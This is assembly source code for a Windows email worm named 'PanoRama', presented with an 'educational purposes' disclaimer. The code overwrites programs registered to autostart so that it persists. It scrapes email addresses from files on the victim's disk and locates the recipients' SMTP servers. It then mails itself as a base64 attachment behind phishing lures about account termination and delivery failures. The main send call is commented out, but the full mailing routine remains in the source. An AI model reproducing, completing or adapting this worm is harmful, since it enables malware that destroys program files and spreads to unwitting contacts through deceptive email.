; -------------------------------------------------- ; ; PanoRama by BlueOwl ; Date: february 2004 ; Type: SMPT Virus ; ; Disclaimer: ; ; This source was made for eductional purposes, what- ; ever happens as a result of you assembling it is ; your own fault. With the author remain all rights. ; I did not fully test the worm, and it will probably ; not be able to spread in the wild. ; ; Info: ; ; There are a lot of smpt worms out there, and this one ; is nothing new. I made it because email worms always ; intrigued me, and wanted to make my own. Too bad the ; magic is gone. :) I removed some small codes and replaced, ; since i don't want it to be spread. ; ; Details: ; ; + Includes mailaddress checksumming to avoid sending ; mails more then once, capitals are ignored ; + The mail layout will only be changed after every ; delivery so no time gets waist ; + Gets servers by appending "smpt.", "mail." etc. to ; the email domain name ; + Makes sure it autostarts by overwriting a program ; file referenced by autostart in the registry ; You could assemble with FASM (http://www.flatassembler.net) ; Start of virus format PE GUI 4.0 include '%fasminc%\win32a.inc' ; Get current program location ; ---------------------------- lea esi, [name_buffer_handle] mov ecx, 260 call alloc_mem invoke GetModuleFileName,0,[name_buffer],260 ; Allocate buffers ; ---------------- lea esi, [emails_mem_handle] mov ecx, 20000 call alloc_mem lea esi, [smptserver_mem_handle] mov ecx, 260 call alloc_mem lea esi, [wsadata_mem_handle] mov ecx, 398 call alloc_mem lea esi, [receivebuf_mem_handle] mov ecx, 100 call alloc_mem lea esi, [helo_mem_handle] call alloc_mem lea esi, [mailfrom_mem_handle] call alloc_mem lea esi, [mailto_mem_handle] call alloc_mem lea esi, [keyname_mem_handle] mov ecx, 256 call alloc_mem lea esi, [keyvalue_mem_handle] call alloc_mem lea esi, [mailbuffer_mem_handle] mov ecx, 10000d call alloc_mem ; Get program data ; ---------------- mov eax, [name_buffer] call create_file mov ebp, eax call get_file_size mov [virus_size], eax mov ecx, eax lea esi, [self_mem_handle] call alloc_mem invoke ReadFile,ebp,eax,ecx,NBR,0 invoke CloseHandle,ebp ; Install the virus ; to the system ; ----------------- invoke RegOpenKey,HKEY_LOCAL_MACHINE,reg_install,key_handle or eax, eax jnz reg_error sub edi, edi check_install: invoke RegEnumValue,[key_handle],edi,[keyname_mem],\ standard_size,0,0,[keyvalue_mem],standard2_size or eax, eax jnz virus_not_found mov eax, 256d push eax pop [standard_size] push eax pop [standard2_size] mov eax, [keyvalue_mem] call create_file mov ebp, eax call get_file_size mov ebx, eax invoke CloseHandle,ebp cmp ebx, eax je reg_error ; virus already installed inc edi jmp check_install ; Overwrite the file of an ; existing registered program ; --------------------------- virus_not_found:sub edi, edi install_copy: push edi invoke RegEnumValue,[key_handle],edi,[keyname_mem],\ standard_size,0,0,[keyvalue_mem],standard2_size pop edi or eax, eax jnz reg_error ; abort mov eax, 256d push eax pop [standard_size] push eax pop [standard2_size] invoke CopyFile,[name_buffer],[keyvalue_mem],0 or eax, eax jnz reg_error ; succeeded inc edi jmp install_copy ; Fill some buffers ; ----------------- reg_error: mov edi, [helo_mem] mov eax, "HELO" stosd mov al, " " stosb mov edi, [mailfrom_mem] mov eax, "MAIL" stosd mov eax, " FRO" stosd mov eax, "M: <" mov edi, [mailto_mem] mov eax, "RCPT" stosd mov eax, " TO:" mov ax, " <" stosw ; Initiate random function ; ------------------------ invoke GetTickCount mov [random_seed], eax rol eax, 7 not eax ; Make a base64 copy of the virus ; ------------------------------- mov eax, [virus_size] mov ecx, eax shl ecx, 2 lea esi, [base64_mem_handle] call alloc_mem mov ecx, [self_mem] mov edx, [base64_mem] mov eax, [virus_size] push ecx push edx round3 pop edx pop ecx xchg eax, ecx call encode_base64 mov [virus_size], ecx mov esi, [self_mem_handle] call dealloc_mem ; Start up winsock ; ---------------- push [wsadata_mem] push 0101h invoke WSAStartup ; Set a special folder as current ; directory ; ------------------------------- set_special: and byte [name_buffer], 0 invoke SHGetSpecialFolderPathA,0,[name_buffer],[special_folder],0 inc [special_folder] cmp [special_folder], 200 jne special_ok jmp close_winsock special_ok: cmp byte [name_buffer], 0 je set_special invoke SetCurrentDirectory,[name_buffer] ; Find the first file in directory ; -------------------------------- invoke FindFirstFile,all_mask,findstruc mov [fsearch_handle], eax inc eax jz quit_fsearch ; Compare the file for known ; "wrong" extensions ; -------------------------- main_fsearch: mov ebp, findstruc.cFileName cmp byte [ebp], "." ; directory je file_wrong_type mov ecx, [findstruc.nFileSizeLow] cmp ecx, 200000 ja file_wrong_type mov eax, ebp get_fext: inc eax cmp byte [eax+4],0 jne get_fext mov eax, [eax] or eax, 20202020h cmp eax, ".gif" je file_wrong_type cmp eax, ".jpg" je file_wrong_type cmp eax, ".png" je file_wrong_type cmp eax, ".bmp" je file_wrong_type cmp eax, ".dll" je file_wrong_type cmp eax, ".exe" je file_wrong_type cmp eax, ".scr" je file_wrong_type mov eax, ebp ; Get the file contents ; --------------------- push ecx call create_file mov edi, eax lea esi, [fmem_handle] call alloc_mem invoke ReadFile,edi,eax,ecx,NBR,0 invoke CloseHandle,edi pop ecx mov esi, [fmem] mov edx, esi add edx, ecx ; Search for the atsign ; --------------------- search_at: lodsb cmp al, "@" je found_at cmp esi, edx jnae search_at jmp fclose_mem ; Found the atsign ; ---------------- found_at: mov edi, esi dec esi ; Find the beginning of ; the address ; --------------------- find_begin: dec esi mov al, byte [esi] cmp al, 5Fh je find_begin cmp al, 2Eh je find_begin cmp al, 30h jb begin_found cmp al, 03Ah jb find_begin cmp al, 41h jb begin_found cmp al, 05Bh jb find_begin cmp al, 61h jb begin_found cmp al, 07Bh jb find_begin begin_found: inc esi mov [adress_start], esi xchg edi, esi ; Get the end of the adress ; ------------------------- find_end: lodsb cmp esi, edx jae end_found ; found EOF cmp al, 5Fh je find_end cmp al, 2Eh je find_end cmp al, 30h jb end_found cmp al, 03Ah jb find_end cmp al, 41h jb end_found cmp al, 05Bh jb find_end cmp al, 61h jb end_found cmp al, 07Bh jb find_end end_found: dec esi and byte [esi], 0 mov ebx, esi sub esi, edi mov [adress_size], esi cmp esi, 36 ja fclose_mem ; block ridicilous size cmp esi, 11 jb fclose_mem ; too small push ebx push edx ;call send_email ; go to the emailproc invoke MessageBox,0,0,0,0 pop edx pop ebx mov esi, ebx jmp search_at fclose_mem: mov esi, [fmem_handle] call dealloc_mem file_wrong_type:invoke FindNextFile,[fsearch_handle],findstruc or eax, eax jnz main_fsearch invoke FindClose,[fsearch_handle] quit_fsearch: ; Jump back to folder finding ; --------------------------- jmp set_special ; Close Winsock ; ------------- close_winsock: invoke WSACleanup ; Close all buffers ; ----------------- close_buffers: mov ecx, ((eod-sod)/8) lea esi, [sod] close_loop: lodsd push esi push ecx mov esi, eax call dealloc_mem pop ecx pop esi add esi, 4 dec ecx jne close_loop ; Exit ; ---- exit_process: invoke ExitProcess,0 ; Send an email proc ; ------------------ send_email: ; Validate the adress ; ------------------- mov cx, 0201h mov esi, [adress_start] push esi val_loop: lodsb cmp al, "." je add_dot cmp al, "@" jne val_loop val2_loop: lodsb cmp al, "." je add_dot2 or al, al jnz val2_loop cmp ch, 1 ja invalidate jmp final_check add_dot: dec cl jz invalidate jmp val_loop add_dot2: dec ch jz invalidate jmp val2_loop final_check: cmp byte [esi-5], "." je checksum_adress cmp byte [esi-4], "." je checksum_adress invalidate: pop esi ret ; Checksum the adress ; ------------------- checksum_adress:pop esi sub ax, ax sub dx, dx sum_first: lodsb or al, 20h ; ignore capitals add dx, ax rol dx, 1 cmp byte [esi], "@" jne sum_first rol dx, 5 xchg dl, dh sum_second: lodsb or al, 20h add dx, ax ror dx, 1 cmp al, 20h jne sum_second ; Check the database for it ; ------------------------- mov esi, [emails_mem] mov ebx, [emails_count] inc ebx search_dbase: dec ebx or ebx, ebx jz endsearch_dbase lodsw cmp ax, dx jne search_dbase ret ; Check number of emailadresses ; ----------------------------- endsearch_dbase:cmp [emails_count], 10000d ; 10000 sent?? jne save_checksum sub eax, eax mov [emails_count], eax ; reset counter ; Save the checksum ; ----------------- save_checksum: mov edi, esi mov ax, dx stosw inc [emails_count] ; Get the email domain name ; ------------------------- mov esi, [adress_start] cmp_domat: lodsb cmp al, "@" jne cmp_domat mov ebx, esi mov [address_domain], ebx ; Get a valid smpt server ; ----------------------- mov ecx, 9 ; number of mail domains lea esi, [mail_domains] mov edi, [smptserver_mem] get_smpt: push edi set_smpt_loop: lodsb stosb or al, al jnz set_smpt_loop dec edi mov al, "." stosb push esi mov esi, ebx set_domain: lodsb stosb or al, al jnz set_domain pop esi pop edi invoke gethostbyname, edi or eax, eax jnz smpt_found dec ecx or ecx, ecx jnz get_smpt mov eax, [previous_host] ; Create a socket ; --------------- smpt_found: mov [previous_host], eax mov ebp, eax lea edi, [socket_handle] invoke socket,AF_INET,SOCK_STREAM,0 mov [edi], eax inc eax jz error_connect ; Fill in some data ; ----------------- mov [sock_address.sin_family], AF_INET invoke htons,25 mov [sock_address.sin_port], ax mov eax, [ebp+12] mov eax, [eax] mov eax, [eax] mov [sock_address.sin_addr], eax ; Connect to the server ; --------------------- invoke connect,dword [edi],sock_address,16 or eax, eax jz close_socket call get_code cmp eax, "220 " jne close_socket ; Set connection timeout ; ---------------------- invoke setsockopt, [edi],0FFFFh,1006h,sock_timeout,4 invoke setsockopt, [edi],0FFFFh,1005h,sock_timeout,4 ; Send "HELO (Server)" ; -------------------- mov edi, [helo_mem] push edi add edi, 5 mov esi, [smptserver_mem] czero dec edi mov ax, 0a0dh stosw pop esi sub edi, esi invoke send, [socket_handle],esi,edi,0 call get_code cmp eax, "250 " jne close_socket ; Send "MAIL FROM: <Address>" ; --------------------------- mov edi, [mailfrom_mem] push edi add edi, 12 ; "MAIL... <" mov esi, [email_sender] call trans_copy dec edi mov al, ">" stosb mov ax, 0a0dh stosw pop esi sub edi, esi invoke send, [socket_handle],esi,edi,0 call get_code cmp eax, "250 " jne close_socket ; Send "RCPT TO: <Address>" ; ------------------------- mov edi, [mailto_mem] push edi add edi, 10 mov esi, [adress_start] czero dec edi mov al, ">" stosb mov ax, 0a0dh stosw pop esi sub edi, esi invoke send, [socket_handle],esi,edi,0 call get_code cmp eax, "250 " jne close_socket ; Send "DATA" ; ----------- invoke send, [socket_handle],str_data,6,0 call get_code cmp eax, "354 " jne close_socket ; Send the mail body ; ------------------ mov edi, [mailbuffer_mem] push edi lea esi, [mime_from] czero dec edi mov esi, [email_sender] call trans_copy lea esi, [subject] czero dec edi mov esi, [email_title] czero dec edi lea esi, [mailheader] call trans_copy mov esi, [email_body] call trans_copy lea esi, [betweenheader] call trans_copy lea esi, [email_attachment] call trans_copy lea esi, [attachname1] czero dec edi lea esi, [email_attachment] call trans_copy lea esi, [attachname2] czero dec edi pop esi sub edi, esi invoke send, [socket_handle],esi,edi,0 ; Send the base64 attachment ; -------------------------- invoke send, [socket_handle],[base64_mem],[virus_size],0 ; Send the footer ; --------------- mov edi, [mailbuffer_mem] push edi lea esi, [footer] call trans_copy pop esi sub edi, esi invoke send, [socket_handle],esi,edi,0 ; Send "." ; -------- invoke send, [socket_handle],str_dot,3,0 call get_code cmp eax, "250 " jne close_socket ; Send "QUIT" ; ----------- invoke send, [socket_handle],str_quit,6,0 ; Randomize the layout ; for the next mail ; -------------------- mov eax, 1 call rand_index shl eax, 2 mov edx, [emails+eax] mov esi, edx push esi sub ecx, ecx get_strs: inc esi cmp word [esi], 0 je strs_end cmp byte [esi], 0 jne get_strs inc ecx jmp get_strs strs_end: mov edx, esi pop esi mov eax, ecx call rand_index mov ecx, eax get_str: lodsb or al, al jnz get_str dec esi jne get_str ; ... ; Close the socket ; ---------------- close_socket: invoke closesocket,[socket_handle] error_connect: ret ; Get the code returned ; by the server ; --------------------- get_code: push edi mov edi, [receivebuf_mem] invoke recv,[socket_handle],edi,100,0 mov eax, [edi] pop edi ret ; ////////////////////////////////////////////////////////////////////////////////////// ; PROCS ; esi=memory handle and esi+4=memory start, ecx=size alloc_mem: push ecx invoke GlobalAlloc,GMEM_MOVEABLE,ecx mov dword [esi], eax invoke GlobalLock,eax mov dword [esi+4], eax pop ecx ret dealloc_mem: ; esi=[memory handle] invoke GlobalUnlock,esi invoke GlobalFree,esi ret create_file: push ecx invoke CreateFile,eax,GENERIC_READ,0,0,OPEN_ALWAYS,\ FILE_ATTRIBUTE_NORMAL,0 pop ecx ret get_file_size: invoke GetFileSize,eax,0 ret ; Encode Base64 ; Original by Bumblee ; ------------------- encode_base64: xor esi,esi call enc_table db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv' db 'wxyz0123456789+/' enc_table: pop edi push ebp xor ebp,ebp baseLoop: xor ebx,ebx mov bl,byte [eax] shr bl,2 and bl,00111111b mov bh,byte [edi+ebx] mov byte [edx+esi],bh inc esi mov bx,word [eax] xchg bl,bh shr bx,4 mov bh,0 and bl,00111111b mov bh,byte [edi+ebx] mov byte [edx+esi],bh inc esi inc eax mov bx,word [eax] xchg bl,bh shr bx,6 mov bh,0 and bl,00111111b mov bh,byte [edi+ebx] mov byte [edx+esi],bh inc esi inc eax xor ebx,ebx mov bl,byte [eax] and bl,00111111b mov bh,byte [edi+ebx] mov byte [edx+esi],bh inc esi inc eax inc ebp cmp ebp,24 ja addEndOfLine inc ebp addedEndOfLine: sub ecx,3 cmp ecx,0 jne baseLoop mov ecx,esi add edx,esi pop ebp ret addEndOfLine: xor ebp,ebp mov word [edx+esi],0a0dh add esi,2 jmp addedEndOfLine ; eax = max size rand_index: push ecx push edx inc eax mov ecx, eax mov eax, [random_seed] sub eax, 97863456h ror al, 2 xor eax, 0A83B009Fh rol ax, 3 add eax, 67675AAAh ror eax, 15 rol ah, 3 mov [random_seed], eax xor edx, edx div ecx mov eax, edx pop edx pop ecx ret ; Copy and translate ; ------------------ trans_copy: lodsb cmp al, "!" je trans_doublee cmp al, "$" je trans_domain cmp al, "#" je trans_crlf cmp al, "~" je trans_username cmp al, "*" je trans_address cmp al, "|" je trans_boundary stosb or al, al jnz trans_copy dec edi ret trans_doublee: mov eax, 0a0d0a0dh stosd jmp trans_copy trans_domain: push esi mov esi, [address_domain] tr_domain: lodsb stosb or al, al jnz tr_domain dec edi pop esi jmp trans_copy trans_crlf: mov ax, 0a0dh stosw jmp trans_copy trans_username: push esi mov esi, [adress_start] tr_username: lodsb stosb cmp al, "@" jne tr_username dec edi pop esi jmp trans_copy trans_address: push esi mov esi, [adress_start] tr_address: lodsb stosb or al, al jnz tr_address dec edi pop esi jmp trans_copy trans_boundary: push esi lea esi, [boundary_string] tr_boundary: lodsb stosb or al, al jnz tr_boundary dec edi pop esi jmp trans_copy ; ###################################################################################### NBR dd 0 sod: name_buffer_handle dd 0 name_buffer dd 0 self_mem_handle dd 0 self_mem dd 0 base64_mem_handle dd 0 base64_mem dd 0 emails_mem_handle dd 0 emails_mem dd 0 smptserver_mem_handle dd 0 smptserver_mem dd 0 wsadata_mem_handle dd 0 wsadata_mem dd 0 receivebuf_mem_handle dd 0 receivebuf_mem dd 0 helo_mem_handle dd 0 helo_mem dd 0 mailfrom_mem_handle dd 0 mailfrom_mem dd 0 mailto_mem_handle dd 0 mailto_mem dd 0 keyname_mem_handle dd 0 keyname_mem dd 0 keyvalue_mem_handle dd 0 keyvalue_mem dd 0 fmem_handle dd 0 fmem dd 0 mailbuffer_mem_handle dd 0 mailbuffer_mem dd 0 eod: emails_count dd 0 adress_start dd 0 adress_size dd 0 socket_handle dd 0 key_handle dd 0 address_domain dd 0 email_title dd account_closing email_body dd account_closing_body email_attachment dd account_closing_attach email_sender dd account_closing_sender virus_size dd 0 random_seed dd 093A6C21Fh standard_size dd 256d standard2_size dd 256d previous_host dd 0 special_folder dd 0 all_mask db '*.*',0 findstruc FINDDATA fsearch_handle dd 0 ffile_size equ findstruc.nFileSizeLow struc sock_address_struct { .sin_family dw 0 .sin_port dw 0 .sin_addr dd 0 .sin_zero CHAR 8 } struct sock_address_struct sock_address sock_address_struct sock_timeout dd 5000d mail_domains db "smpt",0,"mail",0,"mail1",0,"mx",0,"mx1",0,"mxs",0,"relay",0,"ns",0,"gate",0 reg_install db "Software\Microsoft\Windows\CurrentVersion\Run",0 str_data db "DATA",13,10 str_dot db ".",13,10 str_quit db "QUIT",13,10 boundary_string db "ABCDEFGHIJKLMNOPQRSTUVWXYZ",0 mime_from db 'MIME-Version: 1.0',13,10,'From: <',0 subject db '>',13,10,'Subject: ',0 mailheader db 13,10 db 'Content-Type: multipart/mixed; boundary="|"',13,10 db 'X-Priority: 3',13,10 db 'X-MSMail-Priority: Normal',13,10 db 13,10 db 'This is a multipart message in MIME format.', 13, 10, 13, 10 db '--|',13,10 db 'Content-Type: text/plain; charset=us-asciic',13,10 db 'Content-Transfer-Encoding: 7bit',13,10,13,10,0 betweenheader db 13,10,13,10 db '--|', 13, 10 db 'Content-Type: application/octet-stream; name="', 0 attachname1 db '"',13,10 db 'Content-Transfer-Encoding: base64',13,10 db 'Content-Disposition: attachment; filename="', 0 attachname2 db '"',13,10 db 13,10, 0 footer db 13,10,13,10,'--|--',13,10,13,10,0 emails dd account_closing, delivery_failure account_closing db "Account notification",0,"Account termination",0,"Your account",0,0 account_closing_body db "Dear user,!$ will terminate your account shortly.#" db "Read the attachment for the detailed overview.",0 db "Your account, *, has been frozen.!Reactivation " db "instructions are in the included document.",0,0 account_closing_attach db "~.pif",0,"Loader.exe",0,"Info.bat",0,0 account_closing_sender db "auto@$",0,"admin@$",0,"mailout@$",0,0 delivery_failure db "Delivery failure notice",0,"Transmit error",0,"Partial message",0,0 db "$ was not able to fully receive this message.!" db "It is included as attachment.",0 db ":: Receiving from smpt.obelisk.net..<to *>#" db ":: Received at port.$ <*>.!" db "The message was included as attachment",0,0 db "Message.exe",0,"Mail.pif",0,0 db "port@$",0,"receive@$",0,"mail.~@$",0,0 data import library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL',\ shell32,'SHELL32.DLL',\ wsock32,'WSOCK32.DLL',\ advapi32,'ADVAPI32.DLL' import kernel32,\ ExitProcess,'ExitProcess',\ CreateFile,'CreateFileA',\ GetFileSize,'GetFileSize',\ ReadFile,'ReadFile',\ WriteFile,'WriteFile',\ CloseHandle,'CloseHandle',\ GlobalAlloc,'GlobalAlloc',\ GlobalLock,'GlobalLock',\ GlobalUnlock,'GlobalUnlock',\ GlobalFree,'GlobalFree',\ SetCurrentDirectory,'SetCurrentDirectoryA',\ FindFirstFile,'FindFirstFileA',\ FindNextFile,'FindNextFileA',\ FindClose,'FindClose',\ GetTickCount,'GetTickCount',\ GetModuleFileName,'GetModuleFileNameA',\ GetModuleHandle,'GetModuleHandleA',\ Sleep,'Sleep',\ CopyFile,'CopyFileA' import user32,\ MessageBox,'MessageBoxA' import shell32,\ SHGetSpecialFolderPathA,'SHGetSpecialFolderPathA' import wsock32,\ WSAStartup,'WSAStartup',\ WSACleanup,'WSACleanup',\ socket,'socket',\ closesocket,'closesocket',\ htons,'htons',\ gethostbyname,'gethostbyname',\ connect,'connect',\ recv,'recv',\ send,'send',\ setsockopt,'setsockopt' import advapi32,\ RegOpenKey,'RegOpenKeyA',\ RegEnumValue,'RegEnumValueA' end data ; End Of Virus